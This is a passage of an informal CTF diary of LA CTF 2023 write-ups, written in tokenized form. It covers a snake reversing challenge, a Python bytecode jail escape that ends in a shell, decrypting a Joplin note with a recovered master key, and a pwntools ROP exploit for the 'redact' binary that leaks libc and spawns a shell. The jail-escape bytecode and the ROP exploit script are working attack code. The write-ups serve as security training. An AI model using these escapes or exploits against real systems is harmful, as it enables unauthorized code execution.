(
15
,
11
),
(
16
,
16
),
(
6
,
14
),
(
3
,
0
),
(
3
,
3
),
(
5
,
6
),
(
17
,
5
),
(
3
,
12
),
(
4
,
17
),
(
8
,
8
),
(
0
,
7
),
(
2
,
4
),
(
9
,
16
),
(
13
,
1
),
(
1
,
11
),
(
2
,
10
),
(
6
,
4
),
(
18
,
3
),
(
6
,
16
),
(
7
,
15
),
(
7
,
18
),
(
4
,
10
),
(
5
,
5
),
(
4
,
13
),
(
3
,
17
),
(
0
,
9
),
(
5
,
17
),
(
9
,
15
),
(
8
,
19
),
(
1
,
7
),
(
16
,
5
),
(
7
,
2
),
(
6
,
6
),
(
13
,
15
)})]
snakenodes
=
snek2
([
(
0
,
0
)])
direction
=
(
1
,
0
)
snakelength
=
0
gamestate
=
snek2
([])
fruitseaten
=
[]
while
True
:
#
print
board
snek11
=
''
for
snek12
in
range
(
bound
):
snek13
=
''
for
snek14
in
range
(
bound
):
if
(
snek12
,
snek14
)
in
snakenodes
:
snek13
+=
'#'
continue
if
(
snek12
,
snek14
)
in
data
[
snakelength
]:
snek13
+=
'o'
continue
snek13
+=
'.'
snek11
+=
snek13
+
'\n'
print
(
snek11
,
flush
=
True
)
if
len
(
gamestate
)
>
0
:
curr
=
gamestate
.
popleft
()
if
isinstance
(
curr
,
int
)
or
curr
.
isdigit
():
curr
=
int
(
curr
)
curr
-=
1
if
curr
>
0
:
gamestate
.
appendleft
(
curr
)
snakehead
=
snakenodes
[
0
]
currloc
=
(
snakehead
[
0
]
+
direction
[
0
],
snakehead
[
1
]
+
direction
[
1
])
if
currloc
[
0
]
<
0
and
currloc
[
0
]
>=
bound
and
currloc
[
1
]
<
0
or
currloc
[
1
]
>=
bound
:
print
(
'
snek
dead
:(
'
)
break
snakenodes
.
appendleft
(
currloc
)
if
currloc
in
data
[
snakelength
]:
#
has
fruit
?
snakelength
+=
1
fruitseaten
.
append
(
currloc
)
if
snakelength
==
len
(
data
):
#
snake
has
grown
to
len
10
snek18
=
0
for
x
,
y
in
fruitseaten
:
#
the
pos
of
the
10
fruits
weve
eaten
snek18
^=
1337
snek18
*=
bound
**
2
snek18
+=
x
*
bound
+
y
if
final
==
snek18
:
print
(
'
snek
happy
:
D
'
)
print
(
open
(
'
flag
.
txt
'
,
'r'
).
read
().
strip
())
break
print
(
'
snek
sad
:(
'
)
break
snakenodes
.
pop
()
elif
curr
==
'L'
:
direction
=
(-
direction
[
1
],
direction
[
0
])
elif
curr
==
'R'
:
direction
=
(
direction
[
1
],
-
direction
[
0
])
else
:
print
(
'
snek
confused
:(
'
)
break
time
.
sleep
(
0.1
)
else
:
gamestate
.
extend
(
input
(
'
snek
?
'
).
strip
().
split
())
continue
```
which
is
now
about
as
easy
to
understand
as
it
gets
for
a
rev
chall
:
-
its
a
box
standard
snake
game
-
we
move
by
specifying
direction
(
`
L
`
for
counterclockwise
,
`
R
`
for
clockwise
),
and
the
amount
of
steps
in
that
direction
-
can
specify
infinite
steps
in
a
single
input
if
needed
-
we
need
to
eat
10
fruits
in
total
-
we
need
to
eat
the
fruits
in
the
order
determined
by
`
final
`
after
brainfarting
for
actually
way
too
long
thinking
i
need
to
either
z3
or
bruteforce
this
and
to
no
avail
,
i
realized
its
literally
trivially
decomposable
since
its
just
storing
data
in
chunks
of
`
20
^
2
`
and
i
brainfarted
*
even
more
*
by
not
realizing
i
was
iterating
in
the
wrong
order
so
the
positions
i
got
was
not
matching
up
with
the
location
of
the
fruits
specified
in
`
data
`
which
made
me
so
confused
to
the
point
where
i
was
doubting
my
math
skills
yet
again
:
upside_down
:
anyways
with
```
py
pos
=
[]
for
i
in
range
(
10
):
#
in
reversed
order
if
i
:
#
the
last
one
should
not
be
xored
final
^=
1337
val
=
final
%
(
20
**
2
)
y
,
x
=
(
val
// 20, val % 20)
pos
.
append
((
x
,
y
))
if
(
y
,
x
)
not
in
data
[
9
-
i
]:
print
(
x
,
y
,
'
off
'
)
#
should
not
happen
final
//= (20 ** 2)
for
p
in
pos
[::-
1
]:
print
(*
p
)
```
we
can
finally
get
the
list
of
fruit
coords
we
gotta
eat
in
order
to
trigger
the
"special"
ending
that
prints
the
flag
```
text
x
y
0
11
3
0
18
8
18
14
11
17
12
3
10
19
7
16
15
16
5
16
```
and
since
at
this
point
i
dont
trust
myself
in
coding
anything
anymore
i
just
solved
it
~~
painfully
~~
by
hand
routing
the
path
and
playing
which
yields
us
`
9
L
1
R
2
R
1
R
8
R
3
L
3
R
8
R
7
L
1
R
3
L
6
L
2
R
1
R
6
R
1
7
L
3
1
L
2
L
6
R
2
L
9
L
3
2
L
16
R
3
R
3
R
4
L
1
R
4
R
1
1
R
8
R
1
L
3
`
and
running
it
on
remote
finally
yields
us
the
flag
after
a
lot
of
board
printing
:
`
lactf
{
h4h4_sn3k_g0_brrrrrrrr
}
`
###
pycjail
ngl
this
one
is
just
finding
That
One
Trick
:
tm
:
in
the
cpython
impl
lmao
that
being
said
i
havent
really
looked
into
the
opcode
implementations
for
cpython
so
it
ended
up
taking
a
bit
of
time
and
trial
and
error
still
still
feels
easier
than
snek
tho
idk
why
this
has
so
much
less
solves
than
that
*
*
*
since
we
are
writing
python
instructions
by
hand
i
first
tried
a
few
normal
things
to
get
the
hang
of
writing
the
bytecode
like
the
args
for
each
opcode
and
all
that
while
trying
that
i
got
an
idea
tho
and
that
is
to
invoke
an
exception
which
in
a
lot
of
higher
level
languages
provide
quite
a
bit
of
debug
detail
which
is
usually
crucial
to
leaking
info
or
getting
data
to
nudge
with
like
python
tracebacks
has
frame
info
embedded
in
`
tb_frame
`
which
grants
us
access
to
globals
and
locals
and
all
that
while
trying
to
set
up
try
except
frames
i
realized
`
RAISE_VARARGS
`
performing
reraise
(
8200
)
is
probably
the
easiest
way
to
trigger
an
exception
with
the
least
amount
of
code
and
after
looking
a
bit
on
how
to
set
up
try
except
frames
in
bytecode
plugging
in
`
7
a01
8200
5300
`
really
did
return
us
something
pretty
useful
:
`
<
class
'
RuntimeError
'
>
`
but
thats
probably
not
it
,
so
to
make
it
easy
to
check
the
stack
i
packed
the
last
3
vals
on
the
interpreter
stack
into
a
tuple
before
returning
with
`
7
a01
8200
6603
5300
`
,
and
aha
:
`
(<
traceback
object
at
0x7f4b4f2c3340
>,
RuntimeError
(
'
No
active
exception
to
reraise
'
),
<
class
'
RuntimeError
'
>)
`
since
our
goal
is
to
somehow
load
attributes
reading
through
some
instructions
thats
not
banned
(
all
`
LOAD
`
/
`
STORE
`
/
`
DELETE
`
are
basically
banned
aside
from
`
LOAD_CONSTS
`
),
i
locked
onto
the
`
MATCH_CLASS
`
method
,
which
is
recently
added
in
3.10
,
exactly
the
version
the
remote
is
running
:
>
TOS
is
a
tuple
of
keyword
attribute
names
,
TOS1
is
the
class
being
matched
against
,
and
TOS2
is
the
match
subject
.
count
is
the
number
of
positional
sub
-
patterns
.
>
>
Pop
TOS
.
If
TOS2
is
an
instance
of
TOS1
and
has
the
positional
and
keyword
attributes
required
by
count
and
TOS
,
set
TOS
to
True
and
TOS1
to
a
tuple
of
extracted
attributes
.
Otherwise
,
set
TOS
to
False
.
>
>
*
New
in
version
3.10
.*
which
means
it
accepts
a
class
and
then
an
object
to
check
for
an
attribute
,
and
return
that
on
success
(
along
with
a
`
True
`
/
`
False
`
indicator
)
wwwaaaaiiittt
doesnt
that
fit
exactly
what
we
have
on
the
stack
after
generating
the
exception
?
that
means
we
can
get
arbitrary
attributes
from
the
exception
class
eyo
and
indeed
that
it
does
-
with
some
nudging
,
we
can
get
the
following
:
```
text
consts
:
__setattr__
names
:
code
:
7
a01
8200
6400
6601
9800
6603
5300
here
goes
!
(<
traceback
object
at
0x7ff5c9d42c40
>,
(<
method
-
wrapper
'
__setattr__
'
of
RuntimeError
object
at
0x7ff5c9cdd080
>,),
True
)
```
but
now
the
problem
comes
-
we
can
get
anything
from
RuntimeError
,
and
even
set
attributes
on
the
object
by
duplicating
them
on
the
stack
so
we
can
refer
to
it
after
it
gets
consumed
by
`
MATCH_CLASS
`
,
but
thats
about
as
far
as
we
can
go
since
we
cant
really
chain
attribute
gets
:
-
its
not
possible
to
obtain
the
class
object
of
the
attribute
itself
without
getting
the
`
__class__
`
attribute
first
which
is
a
circular
dependency
,
-
and
we
cant
really
obtain
any
useful
objects
to
store
into
setattr
outside
of
those
reachable
by
calling
the
exception
attributes
or
directly
accessing
them
either
anyways
,
which
from
all
the
exception
classes
i
can
invoke
none
provide
any
useful
attributes
i
can
use
-
all
methods
we
obtain
are
from
the
object
not
the
class
,
and
therefore
bound
to
it
so
we
cant
just
obtain
a
generic
getattr
for
any
objects
(
e
.
g
.
invoke
`
RuntimeError
`'
s
`
__getattribute__
`
on
the
traceback
object
)
-
see
how
it
says
`
<
method
-
wrapper
>
`
not
`
<
slot
wrapper
>
`
,
~~
which
itself
is
bound
to
all
`
BaseException
`
objects
only
so
we
cant
apply
it
to
most
things
anyway
~~
so
after
a
lot
of
coping
(
why
did
it
have
to
look
so
promising
man
:
sob
:)
its
time
to
go
back
to
the
drawing
board
ive
always
thought
the
way
that
they
hardcoded
`
IMPORT_NAME
`
and
not
all
the
`
IMPORT_
.*
`
opcodes
to
be
kinda
suspicious
,
so
i
looked
into
that
right
after
i
first
tried
`
IMPORT_STAR
`
and
seeing
if
i
can
get
it
to
load
attributes
from
objects
that
arent
modules
,
and
it
actually
kinda
worked
,
with
the
object
popped
and
no
errors
-
except
it
doesnt
load
it
into
the
stack
,
and
we
cant
do
`
LOAD_FAST
`
coz
thats
banned
(
and
we
cant
write
values
to
`
co_varnames
`
anyway
)
so
its
time
to
check
`
IMPORT_FROM
`
-
it
seems
like
this
one
performs
much
more
module
related
checks
,
but
after
quite
a
while
of
digging
into
the
rabbit
hole
of
functions
that
this
opcode
uses
(
and
even
had
to
debug
cpython
to
figure
out
why
it
wasnt
returning
what
i
was
expecting
and
opcodes
dont
give
good
error
messages
90
%
of
the
time
),
i
realized
:
-
`
IMPORT_FROM
`
can
actually
import
arbitrary
modules
as
long
as
you
fake
a
`
__name__
`
in
the
object
,
which
we
can
do
by
obtaining
`
__setattr__
`
through
the
`
MATCH_CLASS
`
trick
and
then
setting
`
__name__
`
to
an
arbitrary
string
we
can
load
from
`
LOAD_CONST
`
(
its
the
only
data
type
we
can
enter
into
co_consts
,
which
was
surpringly
helpful
)
-
however
,
it
has
to
be
already
loaded
before
(
aka
in
`
sys
.
modules
`
),
or
else
it
fails
(
this
is
presumably
due
to
the
interpreter
expecting
`
IMPORT_NAME
`
to
be
called
before
`
IMPORT_FROM
`
like
it
normally
does
)
-
the
module
name
also
has
to
be
in
the
form
of
`
<
pkgname
>.<
name
>
`
-
theres
no
way
to
remove
that
dot
since
it
is
hardcoded
regardless
of
whether
you
have
an
empty
string
or
not
and
with
the
following
(
jail
conformant
,
but
for
illustration
purpose
its
in
an
interactive
console
instead
)
code
we
can
verify
that
the
above
deductions
are
correct
:
```
pycon
>>>
f
.
__code__
=
f
.
__code__
.
replace
(
co_code
=
bytes
.
fromhex
(
'
7
a01
8200
0500
6400
6601
9800
0100
5
c01
6401
6402
8302
6602
0100
6
d00
5300
'
),
co_consts
=(
'
__setattr__
'
,
'
__name__
'
,
'
importlib
'
),
co_names
=(
'
util
'
,))
>>>
import
dis
;
dis
.
dis
(
f
.
__code__
)
1
0
SETUP_FINALLY
1
(
to
4
)
2
RAISE_VARARGS
0
>>
4
DUP_TOP_TWO
6
LOAD_CONST
0
(
'
__setattr__
'
)
8
BUILD_TUPLE
1
10
MATCH_CLASS
0
12
POP_TOP
14
UNPACK_SEQUENCE
1
16
LOAD_CONST
1
(
'
__name__
'
)
18
LOAD_CONST
2
(
'
importlib
'
)
20
CALL_FUNCTION
2
22
BUILD_TUPLE
2
24
POP_TOP
26
IMPORT_FROM
0
(
util
)
28
RETURN_VALUE
>>>
f
()
<
module
'
importlib
.
util
'
from
'
/
usr
/
lib
/
python3
.
10
/
importlib
/
util
.
py
'
>
```
unfortunately
having
a
module
object
really
doesnt
do
us
much
good
since
the
good
ol
"no getattr and no LOAD_FAST"
strikes
again
and
we
can
already
import
module
from
plain
ol
objects
arbitrarily
so
theres
no
point
in
getting
a
real
module
especially
when
we
cant
import
actually
useful
ones
like
`
sys
`
but
this
got
me
very
confused
since
im
definitely
sure
`
from
x
import
y
`
can
import
non
module
things
too
so
i
must
be
missing
something
and
missing
something
i
definitely
did
:
facepalm
::
```
c
if
(
_PyObject_LookupAttr
(
v
,
name
,
&
x
)
!=
0
)
{
return
x
;
}
```
this
is
literally
the
first
thing
in
the
handler
which
checks
if
the
attribute
exists
in
the
object
and
instantly
returns
it
if
so
*
without
checking
anything
module
related
*
which
means
its
literally
a
`
getattr
`
in
disguise
lmao
i
didnt
have
to
find
such
a
convoluted
way
to
load
a
module
when
i
can
just
chain
attributes
~~
which
is
honestly
sad
coz
this
payload
is
pretty
cool
ngl
~~
from
here
on
out
its
just
a
normal
pyjail
with
some
length
restrictions
which
isnt
a
problem
since
we
can
easily
RCE
with
`
#!
py
traceback
.
tb_frame
.
f_builtins
[
'
exec
'
](
'
breakpoint
()
'
)
`
(
exec
needed
since
breakpoint
doesnt
behave
well
on
a
broken
stack
like
this
apparently
)
but
yea
with
this
we
get
the
flag
lmao
```
pycon
consts
:
exec
,
breakpoint
()
names
:
tb_frame
,
f_builtins
code
:
7
a01
8200
6602
0100
6
d00
6
d01
6400
1900
6401
8301
5300
here
goes
!
--
Return
--
>
<
string
>(
1
)<
module
>()->
None
(
Pdb
)
import
os
;
os
.
system
(
'
sh
'
)
ls
flag
.
txt
run
cat
flag
.
txt
flag
{
maybe_i_should_only_allow_nops_next_time
}
```
hey
at
least
i
learnt
quite
a
bit
on
how
i
can
trick
cpython
to
do
things
i
want
to
if
i
have
access
to
durect
bytecode
also
it
turns
out
setting
`
__code__
`
can
break
cpython
in
quite
a
lot
of
ways
lmao
with
everything
from
`
free
():
invalid
pointer
`
to
`
Segmentation
fault
`
if
you
get
a
funny
interpreter
stack
going
the
easiest
one
is
to
just
exhaust
the
stack
so
that
TOS
doesnt
even
exist
anymore
i
wonder
if
its
possible
to
do
some
cpython
pwning
with
that
actually
:
thinking
:
~~
also
kinda
sus
that
the
flag
aint
`
lactf
`
prefixed
~~
###
a
hacker
'
s
notes
a
few
of
my
teammates
were
working
on
getting
the
disk
image
decrypted
and
extracting
data
out
of
it
while
i
was
working
on
pycjail
,
but
then
i
got
fed
up
with
it
and
took
a
break
to
look
at
other
ppls
progress
thats
where
i
see
ppl
talking
about
joplin
and
i
was
like
eyo
joplin
??
fancy
seeing
a
niche
software
i
use
and
have
tinkered
with
in
a
ctf
ppl
saw
weird
flag
like
strings
in
the
db
through
`
strings
`
but
couldnt
find
where
it
is
at
,
so
i
just
opened
it
in
sqlite
explorer
and
looked
through
until
i
see
it
in
`
notes_fts_segdir
`
im
pretty
sure
thats
unintended
since
its
a
part
of
the
full
text
search
mechanism
(
and
its
all
in
lower
case
compared
to
the
actual
flag
we
get
later
on
anyway
)
so
i
just
looked
for
another
route
while
my
teammates
are
working
on
figuring
out
how
the
words
match
up
to
a
flag
i
remember
a
class
that
handled
all
encryption
stuff
in
joplin
which
was
pretty
nice
to
use
back
when
i
tinkered
with
the
src
so
i
tried
looking
for
it
and
yep
`
EncryptionService
`
is
right
there
and
we
can
instantiate
separate
instances
to
add
master
keys
and
all
that
to
decrypt
stuff
since
we
have
both
the
encrypted
string
in
the
`
encrypted_notes
`
dir
and
also
the
master
key
and
master
password
in
the
`
settings
`
table
in
the
db
i
was
gonna
run
it
on
my
actual
joplin
instance
but
i
figured
thats
probably
not
the
best
idea
lmao
i
dont
wanna
screw
up
my
own
notes
sync
so
i
just
spun
up
a
portable
instance
and
just
threw
the
code
into
it
and
ey
flag
ez
`
lactf
{
S3cUr3_yOUR_C4cH3D_3nCRYP71On_P422woRD2
}
`
```
js
enc
=
new
EncryptionService
()
enc
.
loadMasterKey
(
{
"checksum"
:
""
,
"encryption_method"
:
4
,
"content"
:
"{\"iv\":\"Aq6h2XDGTIilysXiqtqmFg==\",\"v\":1,\"iter\":10000,\"ks\":256,\"ts\":64,\"mode\":\"ccm\",\"adata\":\"\",\"cipher\":\"aes\",\"salt\":\"MTCPTTh43BY=\",\"ct\":\"KAkXmATvGZesYHzTFHB/Jpbo7XuFqoMBqbXNQ558UzH5XpLrUkl1ikb/uV8rvr4tKGDrZ6qNHDGdb6sB1uJnAIB1f+UhQGF5sQ0hLbP6ipAKndxl/VhJ/R4u8oL2eek/wPD9Tw2nRu0WtVtR3tLjrk8GFc6TlIE9nQDdTCXosrZwo2Upl1R2T1SDHuOJfZy75TNvhO4lZg+a/+IwVgsY2fXaSbup45RzOd60VtKYsK+/mJLlQXGeyv+6QV30DXq/mVuEaJ/9jMQqCZ1ZXBYWmKWtBHTXwa0NTjlcUuucH0eSpxo+TvtDu9ILnnZhwNdBpeyZD5+fczz6Uv6d39HI9Sih3onXwZKIO5RACDY8TwAA7LLfZvJyPoVk0hm1s04HouN/RbjLijyL0WEjO89lDJqlcBZXAzHj0c045iUn0VsWhr4JbbVgcKC90QsLWxswb+OVcSghdJg4TOQEbXjFMGi/tXnTIdwNpewHK88gwtz7PeAT2u1pyXCqPRsn0xt9vhGpaQqrhshPg8z8QVvygpqrRVC8nGZAU7q8bGlaFpuKE7LemTCMh8CxESHwGsBqb7MESlk61eeS67MDa7RxVuvNVtwqzJGB06EAlcF6CznlLm88GToqgHk3/4sstSqw4ueN9GFqlzWstZ5X1BTMm2y+7KdFIKo98YyBgibJaBGFKtkq7k4Z7g==\"}"
,
"created_time"
:
1673831472785
,
"updated_time"
:
1673831562612
,
"source_application"
:
"net.cozic.joplin-cli"
,
"hasBeenUsed"
:
true
,
"id"
:
"7fc1b793673943df83c6d6ef86241625"
},
'
n72ROU9BqbjVOlXKH5Ju
'
,
true
)
enc
.
decryptString
(
'
JED01000022057fc1b793673943df83c6d6ef86241625000520
{
"iv"
:
"Vy4yg7+5mqATH17czoKr6g=="
,
"v"
:
1
,
"iter"
:
101
,
"ks"
:
128
,
"ts"
:
64
,
"mode"
:
"ccm"
,
"adata"
:
""
,
"cipher"
:
"aes"
,
"salt"
:
"t+kHfSSLUOk="
,
"ct"
:
"Kp5ujJtjn56bCUJIiN/RXa7uYCjxtvvRzwhOfMLzt4hrRh+KeVMPgFbBXX9sfLLhVwgfXBQi74ws/NyM5aWB0k9BHbwzt5tCiO59JKTirGYxoRrTtmxeh3Q1Rl0nshAcZobtWMJVAZPId4NtMp6SrkRxpDnd5yU2eD4PkSu4ns/aIDoAUINap9LG3grlBOWuRUWvthtODWlKIVmFXiWxBFiPb7sAYLRHU4hnopTCX+nBubyboe4V3xOvied6D3s5c4/Mj2x1065QlG3+o5xn2XtBLsFEKgvO2ZB61PacAGsf3/QxjqTB2T8Aj0iXa05mr10MXwPiQc4vJqA+8acqqc1pLqxjjC5ahVr45hKxDlN7knlYQJILbW73MWVLwySJ15Y/7BTPdrcbh0eFT/UDMKXDU5wCmtREVA3t1/M6mUWmqCzxZlktkQ116MgInsjKEJMHYwtBOZuBL15bxECUXS8BG/eiqPLcxnwEqmw1J3qaRj43eH9ihkJLNhNkchMhUPQID/GPR6/KGTio6hr50a3VWlMcMqX0IOOvMTVwkgpRGM2SKNf3WI3BTPjIXx/CEUCjeRunqI2wqbTAKv540HZlWrpZi/G5rdhEyVIJ6EfuMru2EpABttE92CUVkp6beavIgRsNV4Zw4QG6R3ctphPa2UmtR+S+n7PODrz7dWGukzZfW5hNt6ZS22FhK1BhRepRyL7Rc+jTHP4+72X6CuOp+LPdf5oztsz98VHs04iVfuzx2uvPfKwcFNn7Opfqwk5ZD498+ExkJ9E2fWp+5he21+3FpmKnPsQDmkoKCHr9G0zuJMPdpMzcPFic7XjsPNZQTHRhWtPT2zMuajYFzJ7oonFMNMubqoAGiNu/9VKVHO2J8qnmeufxNjTPiT5v+zcsZf+lmIrc8W3OBkSCxUqh5YkGnn9n5VHgfH4goEK+nw3wAko8lYRiNXFZADAuP16wmfJzHc8+P3hV4Xc+mBAhbuKZNM2vmksMdGYEar68zW9cIbcKkbfv/yyP1ly0gNS06tH00IR4JpqAPJ2vpBePLSejpHWG1Yt/kOCWlT/3XYMwLjAawrGz9SxYIPLwHXtywKn0wcbMwx9WiHm4xI36RHVH+kMfbizYvuBbyosfG4xDMUFm5kbG5aTrWpNRRRODZ5qwGVYrGip3k7fJnr8="
}
'
)
```
###
redact
spotted
the
out
of
bounds
access
pretty
early
while
messing
around
with
unmatching
text
and
placeholder
lengths
which
allows
us
to
directly
buffer
overflow
since
no
canary
but
that
only
gives
us
ret
overwrite
at
0x48
and
theres
nothing
in
the
binary
that
can
give
us
ez
RCE
and
theres
also
no
obvious
leaks
that
we
can
use
in
the
code
either
since
we
cant
make
a
c
++
string
that
is
shorter
than
what
is
printed
so
it
means
we
probably
have
to
ret
for
a
leak
and
then
go
back
to
main
again
to
do
the
actual
RCE
so
i
tried
looking
for
something
that
can
do
the
equivalent
of
`
printf
`
without
all
the
c
++
fluff
and
preferrably
just
straight
up
jumpable
without
much
setup
for
me
but
alas
pwn
never
is
this
straightforward
so
crafting
rop
it
is
i
guess
after
finding
the
cout
that
actually
works
with
a
c
string
and
a
disgusting
chain
that
was
actually
pretty
straightforward
to
write
we
finally
get
a
leak
and
a
return
to
main
that
didnt
crash
somehow
the
"enter some text"
prompt
gets
skipped
as
an
empty
string
tho
but
that
doesnt
matter
coz
i
was
using
empty
strings
for
text
anyway
anyway
with
`
one_gadget
`
it
was
more
straightforward
to
get
a
shell
than
to
leak
the
libc
lmao
but
yea
after
a
brief
scare
due
to
connection
issues
theres
the
flag
`
lactf
{
1_
l0v3_c
++
_L2zuBdqJABGU
}
`
```
py
from
pwn
import
*
context
.
binary
=
ELF
(
'
/
mnt
/
d
/
Downloads
/
lactf2023
/
redact
'
)
#
check
rop
gadgets
r
=
ROP
(
context
.
binary
)
#
set
up
libc
for
the
process
#
p
=
process
([
'
./
ld
-
2.31
.
so
'
,
'
--
preload
'
,
'
./
libc
-
2.31
.
so
./
usr
/
lib
/
x86_64
-
linux
-
gnu
/
libstdc
++.
so
.
6
./
lib
/
x86_64
-
linux
-
gnu
/
libgcc_s
.
so
.
1
'
,
'
./
redact
'
])
#
p
=
process
(
'
LD_PRELOAD
=
"./libc-2.31.so ./usr/lib/x86_64-linux-gnu/libstdc++.so.6 ./lib/x86_64-linux-gnu/libgcc_s.so.1"
./
redact
'
,
shell
=
True
)
p
=
remote
(
'
lac
.
tf
'
,
31281
)
p
.
sendlineafter
(
'
Enter
some
text
:
'
,
b
''
)
#
has
to
be
<=
8
to
avoid
getting
allocated
to
the
heap
#
pop
rdi
;
<
stdout
stream
loc
>;
pop
rsi
,
pop
r15
;
<
__libc_start_main
.
got
>;
pad
;
cout
<<
rsi
;
main
p
.
sendlineafter
(
'
Enter
a
placeholder
:
'
,
b
'A'
*
0x48
+
p64
(
r
.
rdi
.
address
)
+
p64
(
0x4040C0
)
+
p64
(
r
.
rsi
.
address
)
+
p64
(
0x403fe8
)
+
b
'A'
*
8
+
p64
(
0x4010C0
)
+
p64
(
0x401202
))
p
.
sendlineafter
(
'
Enter
the
index
of
the
stuff
to
redact
:
'
,
b
'0'
)
#
drop
\
n
too
with
[
1
:]
libc_addr
=
int
.
from_bytes
(
p
.
recvuntil
(
b
'
Enter
some
text
:
'
,
drop
=
True
)[
1
:],
byteorder
=
'
little
'
)
-
0x23C20
print
(
'
libc
:
'
,
hex
(
libc_addr
))
#
#
for
some
reason
the
text
is
skipped
on
second
try
#
pop
r12
,
pop
rbp
;
0
;
pad
;
pop
r13
,
pop
rbp
;
0
;
pad
;
one_gadget
p
.
sendlineafter
(
'
Enter
a
placeholder
:
'
,
b
'A'
*
0x48
+
p64
(
r
.
r12
.
address
)
+
b
'\0'
*
16
+
p64
(
r
.
r13
.
address
)
+
b
'\0'
*
16
+
p64
(
libc_addr
+
0xc961a
))
p
.
sendafter
(
'
Enter
the
index
of
the
stuff
to
redact
:
'
,
b
'0'
)
p
.
interactive
()
```
this
chall
made
me
realize
when
i
give
up
on
pwn
challs
its
mostly
coz
i
dont
wanna
do
all
the
work
setting
up
the
env
not
that
i
dont
know
what
to
do
lmao
like
this
chall
is
honestly
pretty
straightforward
yet
im
still
annoyed
by
the
fact
that
i
gotta
do
non
trivial
setup
i
honestly
should
do
more
pwn
to
train
up
speed
tbh
pwn
is
really
fun
anyway
File Metadata
Details
Attached
Mime Type
text/x-python
Expires
Sun, Jul 6, 5:18 PM (23 h, 18 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
ac/7f/3fd391059bc6abf27627b1c36535
Attached To
rCTFD CTF diary
Event Timeline
Log In to Comment